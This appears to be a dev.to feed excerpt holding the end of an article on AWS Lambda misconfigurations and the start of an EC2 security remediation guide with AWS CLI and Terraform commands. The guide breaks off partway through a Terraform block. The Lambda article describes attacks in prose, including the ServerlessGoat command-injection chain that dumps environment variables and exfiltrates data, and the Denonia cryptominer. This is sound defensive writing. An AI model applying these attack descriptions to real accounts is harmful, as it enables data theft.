&lt;p&gt;Lambda environment variables are not a secret store. By default, anyone with &lt;code&gt;**_lambda:GetFunctionConfiguration_**&lt;/code&gt; on the function can read every variable in plaintext. That permission is extremely common. It is included in read-only and developer roles, it shows up in CI pipelines, and it is exactly the kind of low-value permission that gets handed out without much thought. The moment a secret lands in an environment variable, its security depends entirely on nobody ever holding a fairly ordinary read permission.&lt;/p&gt;

&lt;p&gt;AWS Secrets Manager and SSM Parameter Store exist precisely for this. The correct pattern is to store a reference, such as a Secrets Manager ARN or an SSM parameter path, and resolve the real value at runtime. The variable then contains a pointer, not a credential.&lt;/p&gt;

&lt;h4&gt;
  
  
  Public function URLs and wildcard CORS
&lt;/h4&gt;

&lt;p&gt;Lambda function URLs are a fast way to put an HTTP endpoint in front of a function without an API Gateway. &lt;strong&gt;&lt;em&gt;They are also a fast way to put a function on the public internet by accident&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A function URL has an &lt;code&gt;**_AuthType_**&lt;/code&gt;. Set it to &lt;code&gt;**_AWS\_IAM_**&lt;/code&gt; and callers must sign their requests. Set it to &lt;code&gt;**_NONE_**&lt;/code&gt; and anyone with the URL can invoke the function: no authentication, no authorization, just a POST request. Pair that with a wildcard CORS policy (&lt;code&gt;**_AllowOrigins: \*_**&lt;/code&gt;) and you have published a cross-origin callable, unauthenticated HTTP endpoint that runs your code and assumes your execution role. Attackers scan for these continuously.&lt;/p&gt;

&lt;h4&gt;
  
  
  Public resource policies
&lt;/h4&gt;

&lt;p&gt;A function also has a resource-based policy that controls who is allowed to invoke it. A statement with &lt;code&gt;**_Principal: \*_**&lt;/code&gt; and no conditions means any AWS principal, in any account, can call your function. It is the serverless equivalent of leaving a database open to the world, and it is easy to create when you are wiring up cross-account access and reach for a wildcard to make the error message go away.&lt;/p&gt;

&lt;h4&gt;
  
  
  Deprecated runtimes
&lt;/h4&gt;

&lt;p&gt;When AWS deprecates a runtime, that runtime stops receiving security patches. The function keeps running, which is exactly why this risk is so easy to ignore. Nothing breaks. The code just sits on an unpatched base image, accumulating known vulnerabilities that will never be fixed.&lt;/p&gt;

&lt;p&gt;The schedule is real and it moves every few months. As of May 2026, the current supported runtimes are: Python 3.14 and Python 3.13 and 3.12 and Python 3.11 and Python 3.10, Node.js 24 and Node.js 22, Java 25 and Java 21 and Java 17 and Java 11 and Java 8, .NET 10 and .NET 9 (Container Only) and .NET 8, Ruby 4 and Ruby 3.4 and Ruby 3.3, and the OS-only &lt;code&gt;**_provided.al2023_**&lt;/code&gt; and &lt;code&gt;**_provided.al2_**&lt;/code&gt;. The recently deprecated list is long and growing: Python 3.9 reached deprecation on December 15, 2025, Ruby 3.2 on March 31, 2026, and Node.js 20 on April 30, 2026. Python 3.8 has been deprecated since October 2024.&lt;/p&gt;

&lt;p&gt;There is a subtlety that keeps deprecated runtimes alive far longer than they should be. AWS extended the “block function update” date for most legacy runtimes to March 3, 2027. Until that date, a function on a deprecated runtime still runs and can still be updated, so there is no hard forcing function. Teams see no error and assume there is no problem. The vulnerabilities are still there.&lt;/p&gt;

&lt;h4&gt;
  
  
  Event-data injection
&lt;/h4&gt;

&lt;p&gt;A Lambda function rarely sits behind a single, well-understood entry point. It receives events from S3 notifications, API Gateway, SNS, SQS, DynamoDB streams, EventBridge, and more. Each source is a separate trust boundary, and each one can carry untrusted input straight into your code. The OWASP Serverless Top 10 lists event-data injection as the top serverless risk for this reason. The attack surface is wider than a traditional web app because the entry points are less obvious, and a successful injection inherits whatever the execution role grants. Overprivileged roles and injection are the same problem viewed from two angles.&lt;/p&gt;

&lt;h3&gt;
  
  
  This Has Already Happened
&lt;/h3&gt;

&lt;p&gt;Serverless incidents are underreported, because most organizations never disclose them. Two public cases are worth knowing because they map directly to the risks above.&lt;/p&gt;

&lt;p&gt;In 2022, researchers at Cado Security documented Denonia, described as the first malware specifically targeting AWS Lambda. Denonia is a Go wrapper around the XMRig cryptominer, built to run inside the Lambda execution environment. Cado noted that the deployment method was not confirmed, with the most likely explanation being stolen or leaked AWS access keys used to create the functions. The lesson is not the miner itself. It is that valid credentials plus the ability to create Lambda functions is enough to turn your account into someone else’s compute.&lt;/p&gt;

&lt;p&gt;OWASP maintains &lt;strong&gt;&lt;em&gt;ServerlessGoat&lt;/em&gt;&lt;/strong&gt; , a deliberately vulnerable Lambda application used for training. It is a small document-to-text converter that takes a URL and runs it through a shell command. Because user input flows directly into that command, it is vulnerable to OS command injection. The documented exploit chain uses that injection to read the function’s own source code, dump its environment variables, and exfiltrate data from the DynamoDB table the function can reach, all through the function’s execution role. It is a clean, reproducible demonstration of how one injection bug plus one overpermissive role becomes data loss.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why This Is Hard to See
&lt;/h3&gt;

&lt;p&gt;None of these problems announce themselves. A public function URL returns a normal response. A function with &lt;code&gt;**_AdministratorAccess_**&lt;/code&gt; behaves exactly like one with a scoped role until the day it is abused. A deprecated runtime runs without warnings. A secret in an environment variable works perfectly.&lt;/p&gt;

&lt;p&gt;The other half of the problem is scale. A real account has dozens or hundreds of functions, spread across regions, owned by different teams, deployed by different pipelines. Reviewing them by hand means opening each function, reading its resource policy, inspecting its execution role, decoding its environment variables, and cross-referencing the runtime deprecation schedule, one function at a time, in every region. Nobody does this consistently, which is why the gaps persist.&lt;/p&gt;

&lt;p&gt;That is the visibility problem, and it is the problem this series is about.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Next
&lt;/h3&gt;

&lt;p&gt;Before you read Part 2, you can find the most dangerous misconfiguration in a few seconds. This lists every function URL in a region and its authentication type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;func &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws lambda list-functions &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Functions[*].FunctionName"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;URL_CONFIG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws lambda get-function-url-config &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--function-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$func&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0]&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nv"&gt;AUTH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$URL_CONFIG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"AuthType": "[^"]*"'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$func&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="nv"&gt;$AUTH&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any line that shows &lt;code&gt;**_AuthType: NONE_**&lt;/code&gt; is a function anyone on the internet can invoke.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feh68q9t395byyt4uxvq8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feh68q9t395byyt4uxvq8.png" width="799" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In Part 2, I introduce lambda-security-scanner, an open-source tool that runs nineteen checks against every function in your account, scores each one from 0 to 100, and tells you exactly what is wrong and how severe it is. In Part 3, we map every finding to ten compliance frameworks and walk through the AWS CLI commands that fix each issue. In Part 4, we go past configuration into the application layer: the code itself, its dependencies, and the credentials it holds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OWASP Serverless Top 10 (&lt;a href="https://owasp.org/www-project-serverless-top-10/" rel="noopener noreferrer"&gt;https://owasp.org/www-project-serverless-top-10/&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;Cado Security: Denonia, the first malware specifically targeting Lambda (2022) (&lt;a href="https://www.cadosecurity.com/blog/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda" rel="noopener noreferrer"&gt;https://www.cadosecurity.com/blog/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;OWASP ServerlessGoat (&lt;a href="https://github.com/OWASP/Serverless-Goat" rel="noopener noreferrer"&gt;https://github.com/OWASP/Serverless-Goat&lt;/a&gt;)
&lt;/li&gt;
&lt;li&gt;AWS Lambda runtime deprecation policy and schedule (&lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>awslambda</category>
    </item>
    <item>
      <title>Fixing EC2 Security Issues: A Practical Remediation Guide</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Tue, 02 Jun 2026 20:51:00 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/fixing-ec2-security-issues-a-practical-remediation-guide-1apa</link>
      <guid>https://dev.to/tarekcheikh/fixing-ec2-security-issues-a-practical-remediation-guide-1apa</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 3 of 3 in the EC2 Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fddep22z5djedt2qajybb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fddep22z5djedt2qajybb.png" alt="EC2 Remediation" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You ran the scanner from Part 2. You got your scores: each instance graded from 0 to 100 across 46 checks in 8 categories (A through H), plus a separate environment score for account and VPC posture. Some of those scores aren’t great.&lt;/p&gt;

&lt;p&gt;Now let’s fix everything.&lt;/p&gt;

&lt;p&gt;This guide maps directly to the scanner’s findings. AWS CLI commands, Terraform snippets, and console steps you can use right now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A word of caution:&lt;/strong&gt; Some of these changes (VPC Block Public Access, default security group lockdown, IMDSv2 enforcement) can break running workloads if applied blindly. Test in staging first. Audit before you enforce.&lt;/p&gt;

&lt;h3&gt;
  
  
  Category A: Instance Security
&lt;/h3&gt;

&lt;h4&gt;
  
  
  A.1 / A.2: Enforce IMDSv2
&lt;/h4&gt;

&lt;p&gt;This is the single most impactful fix you can make. IMDSv1 was the attack vector behind the Capital One breach.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For existing instances:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 modify-instance-metadata-options &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-tokens&lt;/span&gt; required &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-endpoint&lt;/span&gt; enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;For all instances in a region&lt;/strong&gt; (audit IMDSv1 usage first, enforcing this will break apps that rely on IMDSv1):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# First, find instances still using IMDSv1&lt;/span&gt;
aws ec2 describe-instances &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Reservations[*].Instances[?MetadataOptions.HttpTokens!='required'].[InstanceId,Tags[?Key=='Name'].Value|[0]]"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; table

&lt;span class="c"&gt;# Then enforce IMDSv2 on all instances&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;id &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-instances &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Reservations[*].Instances[*].InstanceId"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;aws ec2 modify-instance-metadata-options &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--instance-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--http-tokens&lt;/span&gt; required &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--http-endpoint&lt;/span&gt; enabled
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;For launch templates (A.2):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 create-launch-template-version &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--launch-template-id&lt;/span&gt; lt-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--source-version&lt;/span&gt; &lt;span class="s1"&gt;'$Latest'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--launch-template-data&lt;/span&gt; &lt;span class="s1"&gt;'{"MetadataOptions":{"HttpTokens":"required","HttpEndpoint":"enabled"}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Terraform:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_instance"&lt;/span&gt; &lt;span class="s2"&gt;"example"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;metadata_options&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;http_tokens&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"required"&lt;/span&gt;
    &lt;span class="nx"&gt;http_endpoint&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"enabled"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Account-wide default&lt;/strong&gt; (prevents new instances from using IMDSv1):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 modify-instance-metadata-defaults &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-tokens&lt;/span&gt; required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  A.3: Remove Public IPs
&lt;/h4&gt;

&lt;p&gt;If your instance doesn’t need to be directly reachable from the internet, remove the public IP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Disassociate an Elastic IP&lt;/span&gt;
aws ec2 disassociate-address &lt;span class="nt"&gt;--association-id&lt;/span&gt; eipassoc-0123456789abcdef0

&lt;span class="c"&gt;# For auto-assigned public IPs: stop the instance, change the subnet setting,&lt;/span&gt;
&lt;span class="c"&gt;# or launch in a private subnet behind a NAT Gateway or VPC endpoint.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;em&gt;Better approach&lt;/em&gt;&lt;/strong&gt; : use &lt;strong&gt;AWS Systems Manager Session Manager&lt;/strong&gt; for access instead of SSH over public IPs.&lt;/p&gt;

&lt;h4&gt;
  
  
  A.4: Attach IAM Instance Profiles
&lt;/h4&gt;

&lt;p&gt;Every EC2 instance that talks to AWS services needs an IAM role. No hardcoded credentials.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 associate-iam-instance-profile &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--iam-instance-profile&lt;/span&gt; &lt;span class="nv"&gt;Name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;my-instance-role
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;A.8: Remove Secrets from UserData&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There’s no “fix” button for this. You need to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Rotate every credential found in UserData immediately&lt;/li&gt;
&lt;li&gt;Move secrets to &lt;strong&gt;AWS Secrets Manager&lt;/strong&gt; or &lt;strong&gt;SSM Parameter Store&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Update your launch scripts to fetch secrets at runtime
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Store a secret in SSM Parameter Store (or Secrets Manager)&lt;/span&gt;
aws ssm put-parameter &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"/myapp/db-password"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--type&lt;/span&gt; SecureString &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt; &lt;span class="s2"&gt;"your-password"&lt;/span&gt;

&lt;span class="c"&gt;# Fetch it in UserData at boot time&lt;/span&gt;
&lt;span class="nv"&gt;DB_PASS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ssm get-parameter &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"/myapp/db-password"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--with-decryption&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Parameter.Value"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then clear the old UserData (instance must be stopped):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 stop-instances &lt;span class="nt"&gt;--instance-ids&lt;/span&gt; i-0123456789abcdef0
aws ec2 modify-instance-attribute &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--attribute&lt;/span&gt; userData &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--value&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
aws ec2 start-instances &lt;span class="nt"&gt;--instance-ids&lt;/span&gt; i-0123456789abcdef0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category B: Network Security
&lt;/h3&gt;

&lt;h4&gt;
  
  
  B.1: Lock Down the Default Security Group
&lt;/h4&gt;

&lt;p&gt;The VPC default security group should have &lt;strong&gt;zero rules&lt;/strong&gt;. No inbound, no outbound.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Get default SG ID&lt;/span&gt;
&lt;span class="nv"&gt;DEFAULT_SG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-security-groups &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--filters&lt;/span&gt; &lt;span class="s2"&gt;"Name=group-name,Values=default"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
            &lt;span class="s2"&gt;"Name=vpc-id,Values=vpc-0123456789abcdef0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"SecurityGroups[0].GroupId"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Revoke all inbound rules&lt;/span&gt;
aws ec2 revoke-security-group-ingress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_SG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ip-permissions&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-security-groups &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--group-ids&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_SG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'SecurityGroups[0].IpPermissions'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; json&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Revoke all outbound rules&lt;/span&gt;
aws ec2 revoke-security-group-egress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_SG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ip-permissions&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-security-groups &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--group-ids&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_SG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'SecurityGroups[0].IpPermissionsEgress'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; json&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;B.2 / B.3 / B.4 / B.5: Close Open Ports&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Remove rules that allow &lt;code&gt;**_0.0.0.0/0_**&lt;/code&gt; or &lt;code&gt;**_::/0_**&lt;/code&gt; to sensitive ports.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Remove SSH from world&lt;/span&gt;
aws ec2 revoke-security-group-ingress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--protocol&lt;/span&gt; tcp &lt;span class="nt"&gt;--port&lt;/span&gt; 22 &lt;span class="nt"&gt;--cidr&lt;/span&gt; 0.0.0.0/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace with specific CIDR ranges or use &lt;strong&gt;EC2 Instance Connect&lt;/strong&gt; / &lt;strong&gt;SSM Session Manager&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  B.6: Enable VPC Flow Logs
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 create-flow-logs &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-type&lt;/span&gt; VPC &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-ids&lt;/span&gt; vpc-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--traffic-type&lt;/span&gt; ALL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-destination-type&lt;/span&gt; cloud-watch-logs &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-group-name&lt;/span&gt; /vpc/flow-logs &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--deliver-logs-permission-arn&lt;/span&gt; arn:aws:iam::123456789012:role/flow-logs-role
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Terraform&lt;/strong&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_flow_log"&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;vpc_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;
